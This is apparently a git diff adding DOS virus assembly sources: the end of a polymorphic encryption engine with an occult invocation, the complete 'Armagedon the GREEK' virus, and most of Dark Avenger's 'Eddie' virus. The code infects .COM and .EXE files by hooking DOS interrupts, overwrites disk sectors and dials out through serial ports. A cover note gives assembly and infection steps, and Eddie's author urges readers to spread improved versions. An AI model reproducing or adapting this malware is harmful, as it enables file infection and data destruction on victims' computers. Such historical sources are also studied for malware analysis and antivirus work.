POP SI + POP DS + +CODEIT: LODSB + CMP B FUNCTION[BP],0 + JNE WHATELSE1 + XOR AL,ENCRYPTVAL[BP] + JMP NOELSE +WHATELSE1: CMP B FUNCTION[BP],1 + JNE WHATELSE2 + SUB AL,ENCRYPTVAL[BP] + JMP NOELSE +WHATELSE2: ADD AL,ENCRYPTVAL[BP] +NOELSE: STOSB + LOOP CODEIT + MOV CX,CALNEWCX[BP] + SUB DI,CX + MOV CX,DI + RET + +USETABLE: + XLAT + STOSB + RET + +INSERTGARBAGE: PUSH DS + PUSH SI + PUSH AX + PUSH CX + PUSH DS + PUSH SI + XOR AX,AX + MOV DS,AX + MOV AX,WORD PTR DS:[046CH] + ADD AX,DI + SUB AX,SI + ADD AX,BP + ADD AX,WORD PTR CS:[DI][BP] + ADD AL,AH + ADD AX,CX + AND AX,02H +AMOUNT EQU $-2 + MOV CX,AX + AND AX,7H + POP SI + POP DS + CMP CX,0 + JE NOGARBAGE +INSERT: LEA BX,RANDOMCODE[BP] + CALL USETABLE + ADD AX,DI + ADD AX,SI + ADD AX,WORD PTR CS:[DI][BP] + AND AX,7 + LOOP INSERT +NOGARBAGE: POP CX + POP AX + POP SI + POP DS + RET + +MTMAX DB 4 ; MT 0 + DB 10 ; MT 1 + DB 3 ; MT 2 + DB 2 ; MT 4 + DB 3 ; MT 5 + DB 2 ; MT 6 + DB 6 ; MT 7 +MTMAXLEN EQU $-MTMAX + +MT DB 0 ; MT 0 + DB 0 ; MT 1 + DB 0 ; MT 2 + DB 0 ; MT 4 + DB 0 ; MT 5 + DB 0 ; MT 6 + DB 0 ; MT 7 +MTLEN EQU $-MT + + ; Offset Encrypted part +ENCOFS DW 0 + + ; Counterloop decryption +COUNTLOOP DW 0 + + ; Encryption Valua +ENCRYPTVAL DB 0 + + ; Function +FUNCTION DB 0 ; 0=xor, 1=add, 2=sub (xchange in encr) + + ; MT 0 +VAL1T DB 0BBH,0BEH,0BFH ; Mov Bx,Si,Di + + ; MT 1 +VAL2T DB 0B8H,0BBH,0BAH,0BDH ; Mov Ax,Bx,Dx,Bp + + ; MT 2 V +VAL3SUB DB 089H, 087H, 087H, 031H, 001H, 009H + + DB 08BH, 033H, 003H, 00BH ; NIEUW + + ; MT 1 H +VAL3T DB 0C1H,0D9H,0D1H,0E9H ; Mov Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0CBH,0CAH,0CDH ; Xchg Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0D9H,0D1H,0E9H ; Xchg Ax,Bx,Dx,Bp <- Cx + DB 0C1H,0D9H,0D1H,0E9H ; Xor Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0D9H,0D1H,0E9H ; Add Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0D9H,0D1H,0E9H ; Or Ax,Bx,Dx,Bp -> Cx + + DB 0C8H,0CBH,0CAH,0CDH ; NIEUW + DB 0C8H,0CBH,0CAH,0CDH ; + DB 0C8H,0CBH,0CAH,0CDH ; + DB 0C8H,0CBH,0CAH,0CDH ; + + + + ; MT 4 H +VAL4T DB 080H,082H ; 00 / 0000 + + ; MT 5 V + ; MT 0 H +VAL5T DB 037H,034H,035H,037H ; Xor Bx,Si,Di,bx + DB 007H,004H,005H,007H ; Add Bx,Si,Di,bx + DB 02FH,02CH,02DH,02FH ; Sub Bx,Si,Di,bx + + ; MT 0 H +VAL6T DB 043H,046H,047H ; Inc Bx,Si,Di + + ; MT 6 H +VAL7T DB 0E0H,0E2H ; Loop Equal Functions + + ; MT 7 H +RANDOMCODE DB 0FCH,0F8H,090H,0F9H,0F5H ; Random code + DB 0CCH,0FBH,02EH,0F5H + + +FILESPEC DB '*.OCM',0 +WEXL EQU FILESPEC+2 +JUMP DB 0E9H + DW 0 + DB '' +ORGPRG DB 0CDH,020H,'AR' + + ; + ; The Eighteenth Enochian Key opens the gates of Hell and casts up Lucifer + ; and his blessing. + ; + ; Enochian +DB 13,10,'ILASA MICALAZODA OLAPIRETA IALPEREJI BELIORE: DAS ODO BUSADIRE OIAD OUOARESA' +DB 13,10,'CAOSAGO: CASAREMEJI LAIADA ERANU BERINUTASA CAFAFAME DAS IVEMEDA AQOSO ADOHO' +DB 13,10,'MOZ, OD MAOFASA. BOLAPE COMO BELIORETA PAMEBETA. ZODACARE OD ZODAMERANU! ODO' +DB 13,10,'CICALE QAA. ZODOREJE, LAPE ZODIREDO NOCO MADA, HOATHAHE SAITAN!' + ; English + ; O thou mighty light and burning flame of comfort!, that unveilest the glory + ; of Satan to the center of the Earth; in whom the great secrets of truth + ; have their abiding; that is called in thy kingdom: "strength through joy," + ; and is not to be measured. Be thou a window of comfort unto me. Move there- + ; fore, and appear! Open the mysteries of your creation! Be friendly unto me, + ; for I am the same!, the true worshipper of the highest end ineffable King + ; of Hell! +START EQU $ + + + +VIRLEN EQU $-MAIN + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/a/Armagedo.asm b/a/Armagedo.asm new file mode 100755 index 0000000..ccd6018 --- /dev/null +++ b/a/Armagedo.asm @@ -0,0 +1,524 @@ +dta equ offset last_byte+10 +virlen equ (offset last_byte - offset start) +strlen equ (offset endstr - offset startstr) + +code segment + assume cs:code,ds:code + org 100h +start: jmp main + +newint21 proc far ; SETS THE 'INT 21h' VIRUSED + pushf ; Save flags for compare + cmp ah,0e0h ; Is it exist-test? + jnz notest1 ; if not go on + mov ax,0dadah ; else return signature, + popf ; restore flag and + iret ; return to program +notest1: cmp ah,0e1h + jnz notest2 + mov ax,cs + popf + iret +notest2: cmp ax,4b00h ; is 'EXEC' command? + jz infector ; if yes go to 'infection' +do_oldint: popf ; restore flags + jmp dword ptr cs:oldint21a; jump to normal INT 21h +newint21 endp + +oldint21a dw ? ; old INT 21h vector (low) +oldint21b dw ? ; old INT 21h vector (high) +oldint8a dw ? ; old INT 8 vector (low) +oldint8b dw ? ; old INT 8 vector (high) +status db 0 ; flag for time (call in progress) +ticks db 0 ; 18.2 tick counter +cur_h db 0 ; Current time (HOURS) +cur_m db 0 ; Current time (MINUTES) +cur_s db 0 ; Current time (SECONDS) +count dw 0 ; dial counter (30 sec, 540 ticks) +garbidge db 0 +stringpos db 0 +call_made db 0 +init_done db 0 +comext db 'COM' ; Valid inf. extension +handle dw ? ; inf. handle number +filesize dw 20 +prseg dw ? +seg_buffer dw ? +ss_reg dw ? +sp_reg dw ? +fileds dw ? +filedx dw ? +attr dw ? +filedate dw ? +filetime dw ? + +env_seg dw 00h +cdline_offs dw 81h +cdline_seg dw ? +fcb1_offs dw 5ch +fcb1_seg dw ? +fcb2_offs dw 6ch +fcb2_seg dw ? + +infector proc near ; PROGRAM INFECTOR + assume cs:code ; + push ds ; save registers to + push bx ; insure normal operation + push si ; by the INT 21h (ah=4b00h) + push cx ; + push ax ; + push dx ; + push bp ; + push es ; + push di ; + + cld ; Reset direction to increament + push dx ; Store the address of the + push ds ; filespec (DS:DX) + xor cx,cx ; reset counter + mov si,dx ; set ptr to filespec +nxtchr: mov al,ds:[si] ; take a char + cmp al,0 ; is it zero? + jz okay ; if yes goto okay + inc cx ; else increase counter + inc si ; and pointer + jmp nxtchr ; take the next chr if CX>0 +okay: + add dx,cx ; Point to end of filespec + sub dx,3 ; point to .EXT + mov si,offset comext ; Check if it is a + mov di,dx ; .COM file + cmp byte ptr ds:[di-3],'N'; + jnz ok_1 ; Is it a ND. ? + cmp byte ptr ds:[di-2],'D'; if yes exit! + jz nmatch ; +ok_1: mov cx,3 ; checking counter in 3 +cmp_loop: mov al,cs:[si] ; take 1st ptr's chr + cmp al,ds:[di] ; and compare it with filespec + jnz nmatch ; If no matching, exit + inc si ; else increase 1st ptr + inc di ; and second ptr + loop cmp_loop ; take next compare if CX>0 + + pop ds ; restore ds and dx to point + pop dx ; + + push dx ; Store pointer + push ds ; + mov si,dx ; Check if filespec + mov dl,0 ; contains a drive + cmp byte ptr ds:[si+1],':'; letter + jnz nodrive ; If no jump to nodrive spec. + mov dl,ds:[si] ; else take the drive in DL + and dl,0fh ; and modify for int 21h (ah=36h) +nodrive: mov ah,36h ; Take free disk space of DL disk + int 21h ; Do the call + cmp ax,0ffffh ; Was an invalid drive specified? + jz nmatch ; if yes, exit + jmp bypass ; Correct jx 127 limit + +nmatch: jmp nomatch +invd: jmp invdrive +closeit1: jmp closeit +resdta1: jmp resdta + +bypass: cmp bx,3 ; Are there at least 3 clust. free? + jb nmatch ; If no, exit + pop ds ; restore pointers + pop dx ; + + push ds ; and allocate memory + push dx ; for the infection + mov cs:fileds,ds + mov cs:filedx,dx + mov ax,4300h ; code for Get Attr + int 21h + mov cs:attr,cx + mov ax,4301h + xor cx,cx + int 21h + + mov bx,0ffffh + mov ah,48h + int 21h + mov ah,48h + int 21h + mov cs:seg_buffer,ax + + mov ax,cs + mov ds,ax + mov dx,dta + mov ah,1ah + int 21h + + pop dx + pop ds + mov ax,3d02h ; DosFn OPEN FILE (R/W) + clc ; Clear carry flag + int 21h ; Do open + jc closeit1 ; If Error exit + mov bx,ax ; Handle to BX + mov cs:handle,ax ; save handle + mov cx,0ffffh ; Bytes to read + mov ax,cs:seg_buffer ; + mov ds,ax ; + mov dx,virlen ; DS:DX points to buffer + mov ah,3fh ; DosFn READ FROM FILE + clc ; clear carry flag + int 21h ; Do the call + jc closeit1 ; if error exit + mov cs:filesize,ax ; Num of bytes actually read + ;cmp ax,0e000h ; max com size to infect + ;ja closeit1 ; if size>max exit + cmp ax,virlen ; if filesize is less than the + jb virit ; virus size then it is clean + mov si,virlen+1 ; Set 1st ptr to START of file + add si,si ; add 1st ptr the length of file + sub si,21 ; and subtract 12 to point to sig. + mov cx,19 ; set the test loop to 10 bytes + mov di,offset signature ; Set 2nd ptr to constant signature +test_sig: mov al,ds:[si] ; take the byte pointed to by SI + mov ah,cs:[di] ; and compare it with the byte + cmp ah,al ; pointed to by DI + jne virit ; if not equal then it is clean! + inc si ; else increase 1st pointer + inc di ; increase 2nd pointer + loop test_sig ; continue with next if CX>0 + jmp closeit + +virit: mov ax,4200h ; Code for LSEEK (Start) + mov bx,cs:handle ; Handle num in BX + xor cx,cx ; Reset CX + mov dx,cx ; and DX + int 21h ; Do the call + jc closeit + + mov si,offset start + mov cx,virlen + xor di,di + mov ax,cs:seg_buffer + mov ds,ax +virusin: mov al,cs:[si] + mov ds:[di],al + inc si + inc di + loop virusin + + mov ax,5700h + mov bx,cs:handle + int 21h + mov cs:filetime,cx + mov cs:filedate,dx + + mov ax,cs:seg_buffer + mov ds,ax + + mov si,virlen + mov al,ds:[si] + add al,11 + mov ds:[si],al + + xor dx,dx ; DX points to Buffer (file) + mov cx,cs:filesize ; Size of file in CX + add cx,virlen ; But added by Virlen + mov bx,cs:handle ; File handle num in BX + mov ah,40h ; Code for WRITE FILE + int 21h ; Do the call + + mov cx,cs:filetime + mov dx,cs:filedate + mov bx,cs:handle + mov ax,5701h + int 21h + +closeit: mov bx,cs:handle ; Handle in BX + mov ah,3eh ; Code for CLOSE FILE + int 21h ; Do close it + push cs + pop ds +resdta: mov dx,80h ; Reset the DTA + mov ah,1ah ; in Address 80H + int 21h ; Do call + mov ax,cs:seg_buffer + mov es,ax + mov ah,49h + int 21h + + mov ax,cs:fileds ; + mov ds,ax ; + mov dx,cs:filedx ; + mov ax,4301h ; + mov cx,cs:attr ; + int 21h ; + jmp invdrive ; and exit +nomatch: + pop ds + pop dx + jmp notinfect + +invdrive: +notinfect: + pop di ; restore registers + pop es ; to their initial + pop bp ; values + pop dx ; + pop ax ; + pop cx ; + pop si ; + pop bx ; + pop ds ; + jmp do_oldint ; return from call +infector endp + +newint8 proc far ; VIRUS' TIMER ISR + push bp ; + push ds ; store all registers + push es ; and flags before + push ax ; the new timer + push bx ; operations. + push cx ; Otherwize a 'crush' + push dx ; is unavoidable + push si ; + push di ; + pushf ; Simulate an INT + call dword ptr cs:oldint8a ; Do old timer stuff + call tick ; update virus clock routine + push cs + pop ds + mov ah,5 ; Check if time + mov ch,cur_h ; is now above the + cmp ah,ch ; lower limit (5 o'clock) + ja exitpoint ; if not, exit + mov ah,6 ; Check if time + cmp ah,ch ; is now below the higher limit + jb exitpoint ; if not, exit + mov ah,status ; get the virus status + cmp ah,1 ; test if call in progress + jz in_progress ; if yes goto countdown routine + mov ah,1 ; if not, set the status to + mov status,ah ; indicate 'In progress' + jmp exitpoint ; and exit +in_progress: ; CALL IS IN PROGRESS! + call dial ; else call dial routine + inc count ; CALL_TIMER + mov ax,count + cmp ax,540 ; check for time-out + jne exitpoint ; if not, exit else + xor ax,ax ; set status to indicate + mov status,ah ; 'ready to call'! + mov count,ax ; reset call_timer + mov call_made,ah +exitpoint: + pop di ; restore registers to + pop si ; their values and + pop dx ; + pop cx ; + pop bx ; + pop ax ; + pop es ; + pop ds ; + pop bp ; + iret ; return to program +newint8 endp + +tick proc near ; VIRUS' CLOCK ROUTINE + assume cs:code,ds:code + push cs + pop ds + xor al,al + mov ah,ticks ; test if ticks have + cmp ah,17 ; reached limit (17) + jnz incticks ; if no, incerase ticks + mov ah,cur_s ; test if seconds have + cmp ah,59 ; reached limit (59) + jnz incsec ; if no, increase seconds + mov ah,cur_m ; test if minutes have + cmp ah,59 ; reached limit (59) + jnz incmin ; if no, increase minutes + mov ah,cur_h ; test if hours have + cmp ah,23 ; reached limit (23) + jnz inchour ; if no, increase hours + mov cur_h,al ; else reset hours +exitp3: mov cur_m,al ; reset minutes +exitp2: mov cur_s,al ; reset seconds +exitp1: mov ticks,al ; reset ticks + ret ; end exit +incticks: inc ticks ; increase ticks + ret ; and exit +incsec: inc cur_s ; increase seconds + jmp exitp1 ; and exit +incmin: inc cur_m ; increase minutes + jmp exitp2 ; and exit +inchour: inc cur_h ; increase hours + jmp exitp3 ; end exit +tick endp + +startstr: +string db '+++aTh0m0s7=35dp081,,,,141' +endstr: + +dial proc near + assume cs:code,ds:code + + mov al,call_made + cmp al,1 + jz exit_dial + mov al,init_done + cmp al,1 + jz send_one + + mov cx,3 +next_init: mov dx,cx + xor ah,ah + mov al,131 + int 14h + loop next_init + mov al,1 + mov init_done,al + jmp exit_dial + +send_one: push cs + pop ds + mov si,offset string + mov al,stringpos + cmp al,strlen + jnz do_send + jmp sendret + +do_send: xor ah,ah + add si,ax +next_char: mov al,[si] + mov dx,3f8h + out dx,al + mov dx,2f8h + out dx,al + mov dx,2e8h + out dx,al + mov dx,3e8h + out dx,al + inc stringpos + jmp exit_dial + +sendret: mov cx,3 +retloop: mov dx,cx + mov al,13 + mov ah,1 + int 14h + loop retloop + +reset: mov ax,0001h + mov call_made,al + mov stringpos,ah + mov init_done,ah +exit_dial: ret +dial endp + +main: ; VIRUS' MEMORY INSTALLER + assume cs:code,ds:code ; + mov ah,0e0h ; is VIRUS already + int 21h ; in memory? + cmp ax,0dadah ; if yes then + jnz cont ; terminate, else + jmp already_in +cont: push cs + pop ds + mov ax,3521h ; capture the old + int 21h ; INT 21h vector and + mov oldint21a,bx ; store the absolute address + mov oldint21b,es ; in 'oldint21x' variables + mov dx,offset newint21 ; point to new INT 21h ISR + mov ax,2521h ; replace it to vector + int 21h ; + mov ax,3508h ; capture the old + int 21h ; timer vector and + mov oldint8a,bx ; store the address + mov oldint8b,es ; in 'oldint8x' var + mov dx,offset newint8 ; point to new timer ISR + mov ax,2508h ; replace it to vector + int 21h ; + mov ah,2ch ; get the current + int 21h ; time from DOS + mov cur_h,ch ; and store it + mov cur_m,cl ; for the + mov cur_s,dh ; virus' timer + ; RUN PROGRAM! + mov ax,cs:[2ch] + mov ds,ax + xor si,si +loop1: mov al,ds:[si] + cmp al,1 + jz exitl1 + inc si + jmp loop1 +exitl1: inc si + inc si + mov dx,si + + mov ax,cs + mov es,ax ; SHRINK BLOCK + mov bx,90 + mov ah,4ah + int 21h + + mov bx,cs:[81h] + mov ax,cs + mov es,ax + mov cs:fcb1_seg,ax + mov cs:fcb2_seg,ax + mov cs:cdline_seg,ax + mov ax,4b00h + ; + ; + ; + mov cs:ss_reg,ss + mov cs:sp_reg,sp + pushf + call dword ptr cs:oldint21a + mov ax,cs:ss_reg + mov ss,ax + mov ax,cs:sp_reg + mov sp,ax + mov ax,cs + mov ds,ax + mov dx,offset last_byte + int 27h + +already_in: mov ah,0e1h + int 21h + mov si,offset pokelabl + mov cs:[si+3],ax + mov ax,offset fix_com + mov cs:[si+1],ax + mov ax,cs:filesize + mov bx,cs +pokelabl: db 0eah,00h,00h,00h,00h + +fix_com: mov cx,ax + mov ds,bx + mov si,100h + mov di,100h+virlen +dofix: mov al,ds:[di] + mov ds:[si],al + inc si + inc di + loop dofix + mov si,offset poklb + mov cs:[si+3],ds + mov al,ds:[100h] + sub al,11 + mov ds:[100h],al + mov ax,ds + mov es,ax + mov ss,ax +poklb: db 0eah,00h,01h,00h,00h + +signature: db 'Armagedon the GREEK' +last_byte: db 90h+11 + nop + nop + nop + mov ah,4ch + int 21h +code ends + end start + \ No newline at end of file diff --git a/a/Avengsrc.asm b/a/Avengsrc.asm new file mode 100755 index 0000000..d0e0318 --- /dev/null +++ b/a/Avengsrc.asm @@ -0,0 +1,1013 @@ + + + + + + +OK, Rob - here ya' go. As I understand it, this is only one revision level +lower than the "current" version of the virus -- but I have no idea what the +differences are between the two. Sigh. TASM can be used to assemble the +code, then you can replace (using DEBUG) the first 3 bytes of the linked +.COM file to 9H 65 00 to jump to the start of the virus code. I have been +unable to cause the resulting executable to infect file on floppy until the +virus is run on a hard drive first. So, to begin infections (after +assembling/linking/editing the executable): 1) Run the modified executable, +2) Run a program on your hard drive. From there it will spread to files on +the hard drive and the floppy. FluShot+ makes a good monitor for watching +this virus at work. Have fun! + +Thanks for your help, and thanks for a great weekend. + +;************************ +;* * +;* E D D I E * +;* * +;* by Dark Avenger * +;* * +;* 3-JAN-1989 * +;* * +;* version 1.31x * +;* * +;************************ + +; "Blessed is he who expects nothing, for he shall not be disappointed." + +; The original source of one of the first Bulgarian viruses is in front of +; you. As you may notice, it's full of rubbish and bugs, but nevertheless +; the virus has spread surprisingly quickly troughout the country and made a +; quick round the globe. (It's well-known in Eastern and Western Europe, as +; well as in USA.) Due to the aniversary of its creation, the source is +; distributed freely. You have the rights to distribute the source which can +; be charged or free of charge, with the only condition not to modify it. +; The one, who intentionaly distributes this source modified in any way will +; be punished! Still, the author will be glad if any of you improves it and +; spreads the resulting executive file (i.e., the virus itself). Pay +; attention to the fact that after you assemble the source, the resulting +; .COM-file cannot be run. For that purpose you have to create a three-byte +; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the +; two files. Don't try to place a JMP at the beginning of the source. + +; DISCLAIMER: The author does not take any responsability for any damage, +; either direct or implied, caused by the usage or not of this source or of +; the resulting code after assembly. No warrant is made about the product +; functionability or quality. + +; I cannot resist to express my special gratitude to my "populazer" Dipl. +; eng. Vesselin Bontchev, who makes me famous and who, wishing it or +; not, helps very much in the spreading of my viruses, in spite of the fact +; that he tries to do just the opposite (writing programs in C has never +; led to any good). +; Greetings to all virus writers! + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; Return the control to an .EXE file: +; Restores DS=ES=PSP, loads SS:SP and CS:IP. + + + + + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; Returns control to a .COM file: +; Restores the first 3 bytes in the +; beginning of the file, loads SP and IP. + +exit_com: + + + + + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;This is incorrect + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; Program entry point + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;A separate stack is supported for + add sp,offset top_file+100h ;the .COM files, in order not to + sti ;overlap the stack by the program + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; Looking for the address of INT 13h handler in ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h + cmp ax,0f000h ;for diskettes if a hard disk is + jne nofdisk ;available + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, + cmp ax,0f000h ;where the original INT 13h vector is + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;Occasionally begins with: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC somewhere + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;or with: + jne nxt ; TEST DL,80h + lodsw ; JNZ somewhere + cmp ax,7580h + jne nxt0 +intchk: + inc si ;then there is: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; Check whether the program is present in memory: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; Move the program to the top of memory: +; (it's full of rubbish and bugs here) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;Reduction of the segment size +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; Smash the next disk sector: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;Fetch program's name + lodsw ;(with DOS 2.x it doesn't work anyway) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; The following instruction is a complete nonsense. Try to enter a drive & +; directory path in lowercase, then run an infected program from there. +; As a result of an error here + an error in DOS the next sector is not +; smashed. Two memory bytes are smashed instead, most probably onto the +; infected program. + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;It seems that 15 times doing + jnz store_sec ;nothing is not enough for some. + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + + +; The writing trough this interrupt is not the smartest thing, bacause it +; can be intercepted (what Vesselin Bontchev has managed to notice). + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;This instruction seems unnecessary + iret + +; INT 27h handler (this is necessary) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; During the DOS functions Set & Get Vector it seems that the virus has not +; intercepted them (this is a doubtfull advantage and it is a possible +; source of errors with some "intelligent" programs) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + + + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h handler. Infects files during execution, copying, browsing or +; creating and some other operations. The execution of functions 0 and 26h +; has bad consequences. + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;May be 0 if the file is open + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;Unfortunately, the command inter- + jne dont_touch ;preter does not use this function +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; Checks whether the file is .COM or .EXE. +; It is not called upon file execution. + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; Converts into lowercase (the subroutines are a great thing). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; Calls the original INT 21h. + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; Arrange to infect an executable file. + +do_file: + push ds ;Save the registers in stack + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack + push es ;and changes them with what is needed + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;Arranges to infect Read-only files + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;Now we can safely open the file + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;Close it + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;Restores file's attributes + call function ;if they were changed (just in case) +no_update: + xor ax,ax ;Restores INT 13h and INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;Register restoration 